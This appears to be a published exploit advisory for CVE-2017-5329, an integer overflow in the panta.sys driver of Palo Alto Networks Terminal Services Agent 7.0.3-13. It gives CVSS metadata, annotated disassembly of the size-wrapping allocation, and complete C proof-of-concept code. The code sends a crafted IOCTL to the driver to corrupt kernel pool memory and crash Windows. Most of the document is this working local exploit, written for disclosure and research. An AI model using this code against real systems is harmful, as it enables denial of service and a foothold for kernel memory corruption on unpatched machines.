Palo Alto Networks Terminal Services Agent 7.0.3-13 Integer Overflow

Credit: Parvez Anwar
Risk: High
Local: Yes
Remote: No

CVSS Base Score: 4.6/10
Impact Subscore: 6.4/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

/* Exploit Title - Palo Alto Networks Terminal Services Agent Integer Overflow Date - 26th January 2017 Discovered by - Parvez Anwar (@parvezghh) Vendor Homepage - Tested Version - 7.0.3-13 Driver Version - - panta.sys Tested on OS - 32bit Windows 7 SP1 CVE ID - CVE-2017-5329 Vendor fix url - Fixed Version - 7.0.7 and later Fixed driver ver - Disassembly ----------- .text:9A26F0BD loc_9A26F0BD: .text:9A26F0BD mov ecx, DeviceObject .text:9A26F0C3 mov dword ptr [ecx+1ACh], 0 .text:9A26F0CD mov edx, DeviceObject .text:9A26F0D3 mov eax, [edx+1B8h] ; eax points to our inputted buffer .text:9A26F0D9 mov ecx, [eax+14h] ; Takes size to allocate from our inputted buffer 0x04924925 .text:9A26F0DC imul ecx, 38h ; 0x38 * 0x04924925 = 0x100000018. Wraps round becoming size to allocate 0x18 (Integer Overflow) .text:9A26F0DF mov [ebp+NumberOfBytes], ecx ; Copy ecx value 0x18 onto stack .text:9A26F0E2 push 44415450h ; Tag (PTAD string used) .text:9A26F0E7 mov edx, [ebp+NumberOfBytes] ; Copy size 0x18 to edx .text:9A26F0EA push edx ; NumberOfBytes .text:9A26F0EB push 0 ; PoolType .text:9A26F0ED call ds:ExAllocatePoolWithTag ; If returned null (eax) exits with error cleanly else takes crash path .text:9A26F0F3 mov ecx, DeviceObject .text:9A26F0F9 mov [ecx+1B0h], eax .text:9A26F0FF mov edx, DeviceObject .text:9A26F105 cmp dword ptr [edx+1B0h], 0 ; Checks return value. If not null then jumps to our crash path .text:9A26F10C jnz short loc_9A26F13C ; Exits with error cleanly if incorrect size value but not crashable value .text:9A26F13C .text:9A26F13C loc_9A26F13C: .text:9A26F13C mov ecx, [ebp+NumberOfBytes] .text:9A26F13F push ecx ; 0x18 our allocated pool memory .text:9A26F140 push 0 ; int, sets allocated memory to 0x00 .text:9A26F142 mov edx, DeviceObject .text:9A26F148 mov eax, [edx+1B0h] .text:9A26F14E push eax ; Pointer to our allocated buffer .text:9A26F14F call memset .text:9A26F154 add esp, 0Ch .text:9A26F157 mov [ebp+var_4], 0 ; Null out ebp-4 .text:9A26F15E jmp short loc_9A26F169 .text:9A26F160 loc_9A26F160: .text:9A26F160 mov ecx, [ebp+var_4] .text:9A26F163 add ecx, 1 ; Increment counter .text:9A26F166 mov [ebp+var_4], ecx ; Store counter value .text:9A26F169 loc_9A26F169: .text:9A26F169 mov edx, DeviceObject .text:9A26F16F mov eax, [edx+1B8h] ; eax points to our inputted buffer .text:9A26F175 mov ecx, [ebp+var_4] ; Loop counter number .text:9A26F178 cmp ecx, [eax+14h] ; Compares our inputted buffer size 0x04924925. Here our ; size is not using the wrapped value so loops till BSOD .text:9A26F17B jnb short loc_9A26F19A .text:9A26F17D mov edx, [ebp+var_4] ; Counter value .text:9A26F180 imul edx, 38h .text:9A26F183 mov eax, DeviceObject .text:9A26F188 mov ecx, [eax+1B0h] ; Pointer to allocated pool copied to ecx .text:9A26F18E lea edx, [ecx+edx+30h] ; pointer+size(0x38*edx)+0x30 .text:9A26F192 push edx .text:9A26F193 call sub_9A26C000 ; Starts overwriting other pool allocations !!! .text:9A26F198 jmp short loc_9A26F160 .text:9A26C000 sub_9A26C000 proc near .text:9A26C000 .text:9A26C000 .text:9A26C000 arg_0 = dword ptr 8 .text:9A26C000 .text:9A26C000 push ebp .text:9A26C001 mov ebp, esp .text:9A26C003 mov eax, [ebp+arg_0] ; Copy allocated buffer pointer (pointer+size(0x38*edx)+0x30) to eax .text:9A26C006 mov ecx, [ebp+arg_0] ; Copy allocated buffer pointer (pointer+size(0x38*edx)+0x30) to ecx .text:9A26C009 mov [eax+4], ecx ; Store pointer in allocated buffer at pointer+size(0x38*edx)+0x30+4 .text:9A26C00C mov edx, [ebp+arg_0] ; Copy allocated buffer pointer+size(0x38*edx)+0x30 to edx .text:9A26C00F mov eax, [ebp+arg_0] ; Copy allocated buffer pointer+size(0x38*edx)+0x30 to eax .text:9A26C012 mov [edx], eax ; Store pointer in allocated buffer at pointer+size(0x38*edx)+0x30 .text:9A26C014 pop ebp .text:9A26C015 retn 4 .text:9A26C015 sub_9A26C000 endp */ #include <stdio.h> #include <windows.h> #define BUFSIZE 44 int main(int argc, char *argv[]) { HANDLE hDevice; char devhandle[MAX_PATH]; DWORD dwRetBytes = 0; unsigned char buffer[BUFSIZE]; memset(buffer, 0x41, BUFSIZE); printf("\n[i] Size of total input buffer %d bytes", BUFSIZE); *(DWORD*)(buffer + 20) = 0x04924925; sprintf(devhandle, "\\\\.\\%s", "panta"); hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL); if(hDevice == INVALID_HANDLE_VALUE) { printf("\n[-] Failed to open device %s\n\n", devhandle); return -1; } else { printf("\n[+] Open %s device successful", devhandle); } printf("\n[~] Press any key to continue . . ."); getch(); DeviceIoControl(hDevice, 0x88002200, buffer, BUFSIZE, NULL, 0, &dwRetBytes, NULL); printf("\n"); CloseHandle(hDevice); return 0; }


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